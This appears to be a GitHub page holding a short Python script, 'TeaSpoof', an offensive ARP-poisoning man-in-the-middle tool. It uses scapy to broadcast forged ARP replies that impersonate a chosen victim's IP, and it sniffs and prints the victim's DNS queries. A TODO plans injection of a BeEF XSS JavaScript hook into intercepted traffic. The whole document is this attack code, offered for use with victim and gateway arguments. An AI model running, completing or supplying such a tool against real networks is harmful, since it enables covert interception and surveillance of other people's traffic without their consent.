-
Notifications
You must be signed in to change notification settings - Fork 0
/
teaspoof.py
58 lines (45 loc) · 1.66 KB
/
teaspoof.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python
# -*- coding: utf-8 -*-
"""
Author: tnt3k aka Luis Torres
License: BSD Clause-3
"""
"""
TODO:
-> Implement nfqueue to inject beef xss javascript hook
"""
from scapy.all import *
import threading
import os
import sys
import argparse
import netfilterqueue
#from netfilterqueue import NetfilterQueue
def dns_handler(pkt):
try:
if pkt.haslayer(DNS) and pkt.getlayer(DNS).qr == 0:
print("Victim HTTP Request: " + pkt.getlayer(DNS).qd.qname)
except KeyboardInterrupt:
print("[!] User cancelled, exitting ... ")
def arp_poison(interface, victim, gateway):
attacker = get_if_hwaddr(interface)
while True:
sendp(Ether(dst = "FF:FF:FF:FF:FF:FF")/ARP(op = "is-at", psrc = victim, hwsrc = attacker), verbose = 0)
pkt = sniff(iface = interface, filter = 'udp port 53', prn = dns_handler)
def main():
parser = argparse.ArgumentParser(prog = './teaspoof.py', epilog = 'Powered by Pu-Erh')
parser.add_argument("-i", "--interface", help = "Interface to use.", required = True)
parser.add_argument("-v", "--victim", help = "Victim to poison.", required = True)
parser.add_argument("-g", "--gateway", help = "Router IP", required = True)
args = vars(parser.parse_args())
# victim_poison(args.victim, args.gateway)
# gateway_poison(args.victim, args.gateway)
try:
print("[*] Initializing TeaSpoof MITM ARP Poisoner")
arp_poison(args["interface"], args["victim"], args["gateway"])
except IOError:
sys.exit("[!] Interface doesn't exist")
except KeyboardInterrupt:
print("\n[*] Stopping TeaSpoof MITM ARP Poisoner")
if __name__ == '__main__':
main()